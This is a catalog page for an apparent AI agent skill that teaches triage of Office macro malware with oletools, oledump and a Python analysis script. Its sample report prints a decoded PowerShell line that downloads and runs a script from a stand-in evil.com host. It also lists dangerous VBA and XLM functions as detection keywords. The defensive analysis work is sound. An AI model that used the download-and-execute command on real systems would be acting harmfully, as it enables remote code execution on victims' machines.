
Analyzing Macro Malware In Office Documents
- 278 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Inspect suspicious Office files for VBA macro malware before opening them in production or sharing with users.
About
Analyzing Macro Malware in Office Documents is an agent skill from the Anthropic cybersecurity skills line aimed at solo and indie builders who receive Office attachments from customers, partners, or unknown senders. It walks you through interpreting macro-heavy documents so you can decide whether to quarantine, sandbox, or safely dispose of a file before it touches your machine or your app's upload pipeline. Use it when a .docm, .xlsm, or similar file shows unexpected enable-macro prompts, odd metadata, or you need a consistent checklist instead of ad-hoc guessing. The skill emphasizes application security context rather than enterprise SOC playbooks, so it scales down to one-person shops shipping SaaS with file uploads or document workflows. It does not replace a full malware lab; it gives your coding agent procedural knowledge to structure triage and document findings for later review.
- Guides structured analysis of macro-enabled Office documents (Word, Excel, PowerPoint)
- Focuses on VBA macro behavior and common malware indicators in document payloads
- Fits solo builders handling inbound files, support attachments, or compliance samples
- Pairs with cybersecurity skill collections for repeatable triage workflows
Analyzing Macro Malware In Office Documents by the numbers
- 278 all-time installs (skills.sh)
- +16 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #648 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: HIGH risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill analyzing-macro-malware-in-office-documentsAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 278 |
|---|---|
| repo stars | ★ 27.3k |
| Security audit | 2 / 3 scanners passed |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Inspect suspicious Office files for VBA macro malware before opening them in production or sharing with users.
Files
Analyzing Macro Malware in Office Documents
When to Use
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
- Investigating phishing campaigns that deliver weaponized Office documents
- Extracting VBA macro code to identify the payload download URL and execution method
- Analyzing obfuscated VBA code to understand the full attack chain
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
Prerequisites
- Python 3.8+ with oletools installed (
pip install oletools) - oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
- LibreOffice for safe document rendering (does not execute VBA macros by default)
Workflow
Step 1: Initial Document Triage
Determine if the document contains macros or other active content:
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributesStep 2: Extract and Analyze VBA Code
Pull out the complete VBA macro source:
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docmKey VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)Step 3: Deobfuscate VBA Code
Remove obfuscation layers to reveal the payload:
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
with open("extracted_vba.txt") as f:
vba_code = f.read()
deobfuscated = deobfuscate_vba(vba_code)
print(deobfuscated)Step 4: Analyze Excel 4.0 (XLM) Macros
Handle legacy Excel macros that bypass VBA detection:
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional executionStep 5: Check for Non-Macro Attack Vectors
Examine the document for DDE, remote templates, and embedded objects:
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
print(f'External reference in {name}:')
import re
urls = re.findall(r'Target=\"([^\"]+)\"', content)
for url in urls:
print(f' {url}')
"Step 6: Generate Analysis Report
Document the complete macro malware analysis:
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document patternKey Concepts
| Term | Definition |
|---|---|
| VBA Macro | Visual Basic for Applications code embedded in Office documents that can interact with the OS, download files, and execute commands |
| Auto_Open | VBA event procedure that executes automatically when a Word document is opened, the primary trigger for macro malware |
| OLE (Object Linking and Embedding) | Microsoft compound document format; Office documents are OLE containers with streams that can contain macros and objects |
| DDE (Dynamic Data Exchange) | Legacy Windows IPC mechanism abused in documents to execute commands without macros; triggered by field code updates |
| Remote Template Injection | Attack loading a macro-enabled template from a remote URL when the document opens, bypassing initial macro detection |
| XLM Macros (Excel 4.0) | Legacy Excel macro language predating VBA; stored in hidden sheets and often missed by traditional VBA analysis tools |
| Protected View | Office sandbox that prevents macro execution until the user clicks "Enable Content"; social engineering targets this barrier |
Tools & Systems
- oletools (olevba): Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
- oledump.py: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
- XLMDeobfuscator: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
- ViperMonkey: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
- YARA: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
Common Scenarios
Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
Context: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
Approach: 1. Run oleid to confirm VBA macros are present and identify auto-execution triggers 2. Extract VBA code with olevba --decode --deobf for initial deobfuscation 3. Identify the auto-execution entry point (Auto_Open or Document_Open) 4. Trace the execution flow from the entry point through helper functions 5. Deobfuscate string concatenation and Chr() encoding to reveal the download URL 6. Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell) 7. Extract all IOCs and create YARA rules for the specific obfuscation pattern
Pitfalls:
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
Output Format
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 Command and Scripting Interpreter: PowerShell
T1059.005 Command and Scripting Interpreter: Visual Basic
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Office Macro Malware Analysis Tools
olevba - VBA Macro Extraction (oletools)
CLI Syntax
olevba document.docm # Full analysis
olevba --decode --deobf document.docm # Decode + deobfuscate
olevba --code document.docm # Extract VBA source only
olevba --json document.docm # JSON output
olevba --reveal document.docm # Reveal hidden contentOutput Sections
| Section | Content |
|---|---|
AutoExec | Auto-execution triggers (AutoOpen, Document_Open) |
Suspicious | Dangerous functions (Shell, WScript, CreateObject) |
IOC | Extracted indicators (URLs, IPs, file paths) |
Hex String | Decoded hex-encoded strings |
Python API
from oletools.olevba import VBA_Parser
vba = VBA_Parser("document.docm")
if vba.detect_vba_macros():
for (fn, stream, vba_fn, code) in vba.extract_macros():
print(code)
for (kw_type, keyword, desc) in vba.analyze_macros():
print(f"{kw_type}: {keyword}")
vba.close()oleid - Document Capability Identification
CLI Syntax
oleid document.docmIndicators
| Indicator | Risk Values |
|---|---|
VBA Macros | True/False |
XLM Macros | True/False |
External Relationships | True/False |
ObjectPool | True/False |
Flash | True/False |
oledump.py - OLE Stream Analysis
CLI Syntax
oledump.py document.docm # List streams
oledump.py -s 8 -v document.docm # Extract stream 8
oledump.py -p plugin_vba_dco document.docm # VBA decompile
oledump.py -p plugin_msg.py document.msg # MSG file parsingStream Markers
| Marker | Meaning |
|---|---|
M | Contains VBA macros |
m | Contains macro attributes |
O | Contains OLE objects |
XLMDeobfuscator - Excel 4.0 Macros
CLI Syntax
xlmdeobfuscator -f document.xlsm
xlmdeobfuscator -f document.xlsm --output-format jsonDangerous XLM Functions
| Function | Purpose |
|---|---|
EXEC() | Execute shell command |
CALL() | Call DLL function |
REGISTER() | Register DLL function |
URLDownloadToFileA | Download file from URL |
VBA Auto-Execution Triggers
| Trigger | Application |
|---|---|
Auto_Open / AutoOpen | Word |
Document_Open | Word |
Workbook_Open | Excel |
Auto_Close | Word |
AutoExec | Word |
VBA Suspicious Functions
| Function | Risk |
|---|---|
Shell() | Command execution |
WScript.Shell | Windows scripting |
CreateObject() | COM object instantiation |
URLDownloadToFile | File download |
MSXML2.XMLHTTP | HTTP requests |
ADODB.Stream | Binary file writing |
CallByName | Indirect method invocation |
Environ() | Environment variable access |
ViperMonkey - VBA Emulation
Syntax
vmonkey document.docm
vmonkey --iocs document.docm # Extract IOCs only#!/usr/bin/env python3
"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation."""
import re
import os
import sys
import hashlib
import json
import zipfile
try:
from oletools.olevba import VBA_Parser
from oletools import oleid
HAS_OLETOOLS = True
except ImportError:
HAS_OLETOOLS = False
def compute_hash(filepath):
"""Compute SHA-256 hash of a file."""
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def triage_document(filepath):
"""Quick triage using oleid to identify document capabilities."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed: pip install oletools"}
oid = oleid.OleID(filepath)
indicators = oid.check()
results = {}
for indicator in indicators:
results[indicator.name] = {
"value": str(indicator.value),
"risk": indicator.risk,
"description": indicator.description,
}
return results
def extract_vba_macros(filepath):
"""Extract VBA macro code from an Office document."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
macros = []
if vba_parser.detect_vba_macros():
for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
macros.append({
"filename": filename,
"stream_path": stream_path,
"vba_filename": vba_filename,
"code": vba_code,
"code_length": len(vba_code),
})
vba_parser.close()
return macros
def analyze_vba_suspicious(filepath):
"""Analyze VBA macros for suspicious keywords and patterns."""
if not HAS_OLETOOLS:
return {"error": "oletools not installed"}
vba_parser = VBA_Parser(filepath)
analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []}
if vba_parser.detect_vba_macros():
results = vba_parser.analyze_macros()
for (kw_type, keyword, description) in results:
entry = {"type": kw_type, "keyword": keyword, "description": description}
if kw_type == "AutoExec":
analysis["auto_exec"].append(entry)
elif kw_type == "Suspicious":
analysis["suspicious"].append(entry)
elif kw_type == "IOC":
analysis["iocs"].append(entry)
elif kw_type == "Hex String":
analysis["hex_strings"].append(entry)
vba_parser.close()
return analysis
def deobfuscate_chr_calls(vba_code):
"""Resolve Chr() and ChrW() calls in VBA code."""
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except (ValueError, OverflowError):
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
return code
def deobfuscate_concatenation(vba_code):
"""Remove string concatenation: "abc" & "def" -> "abcdef"."""
return re.sub(r'"\s*&\s*"', '', vba_code)
def deobfuscate_strreverse(vba_code):
"""Resolve StrReverse() calls."""
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code)
def deobfuscate_replace(vba_code):
"""Resolve Replace() function calls."""
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)',
resolve_replace, vba_code)
def full_deobfuscation(vba_code):
"""Apply all deobfuscation techniques to VBA code."""
code = deobfuscate_chr_calls(vba_code)
code = deobfuscate_concatenation(code)
code = deobfuscate_strreverse(code)
code = deobfuscate_replace(code)
return code
def extract_urls_from_code(code):
"""Extract URLs from deobfuscated VBA code."""
return list(set(re.findall(r'https?://[^\s"\'<>]+', code)))
def check_dde(filepath):
"""Check for DDE (Dynamic Data Exchange) attacks in OOXML documents."""
findings = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if name.endswith(".xml") or name.endswith(".rels"):
content = z.read(name).decode("utf-8", errors="ignore")
if "DDEAUTO" in content or "DDE " in content:
dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content)
findings.append({
"type": "DDE",
"file": name,
"commands": dde_cmds,
})
if "attachedTemplate" in content or "Target=" in content:
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
findings.append({
"type": "Remote Template",
"file": name,
"url": url,
})
except (zipfile.BadZipFile, KeyError):
pass
return findings
def check_external_relationships(filepath):
"""Check OOXML relationships for external references."""
externals = []
try:
z = zipfile.ZipFile(filepath)
for name in z.namelist():
if ".rels" in name:
content = z.read(name).decode("utf-8", errors="ignore")
urls = re.findall(r'Target="(https?://[^"]+)"', content)
for url in urls:
externals.append({"file": name, "url": url})
except (zipfile.BadZipFile, KeyError):
pass
return externals
def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings):
"""Generate a comprehensive macro malware analysis report."""
report = {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
"triage": triage,
"macro_count": len(macros),
"auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])],
"suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])],
"iocs": [e["keyword"] for e in analysis.get("iocs", [])],
"extracted_urls": deobfuscated_urls,
"dde_findings": dde_findings,
}
return report
if __name__ == "__main__":
print("=" * 60)
print("Office Macro Malware Analysis Agent")
print("oletools-based VBA extraction and deobfuscation")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if target and os.path.exists(target):
print(f"\n[*] Analyzing: {target}")
print(f"[*] SHA-256: {compute_hash(target)}")
print("\n--- Document Triage (oleid) ---")
triage = triage_document(target)
for name, info in triage.items():
risk_tag = f" [{info['risk']}]" if info.get("risk") else ""
print(f" {name}: {info['value']}{risk_tag}")
print("\n--- VBA Macro Extraction ---")
macros = extract_vba_macros(target)
print(f" Macro streams found: {len(macros)}")
for m in macros:
print(f" - {m['vba_filename']} ({m['code_length']} chars)")
print("\n--- Suspicious Analysis ---")
analysis = analyze_vba_suspicious(target)
for trigger in analysis["auto_exec"]:
print(f" [!] Auto-exec: {trigger['keyword']}")
for sus in analysis["suspicious"]:
print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}")
for ioc in analysis["iocs"]:
print(f" [IOC] {ioc['keyword']}")
print("\n--- Deobfuscation ---")
all_urls = []
for m in macros:
deobfuscated = full_deobfuscation(m["code"])
urls = extract_urls_from_code(deobfuscated)
all_urls.extend(urls)
for url in set(all_urls):
print(f" URL: {url}")
print("\n--- DDE / Remote Template Check ---")
dde = check_dde(target)
for d in dde:
print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}")
report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde)
print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...")
else:
print(f"\n[DEMO] Usage: python agent.py <document.docm|xlsm>")
print("[*] Provide an Office document for macro analysis.")
Related skills
FAQ
Is Analyzing Macro Malware In Office Documents safe to install?
skills.sh reports 2 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.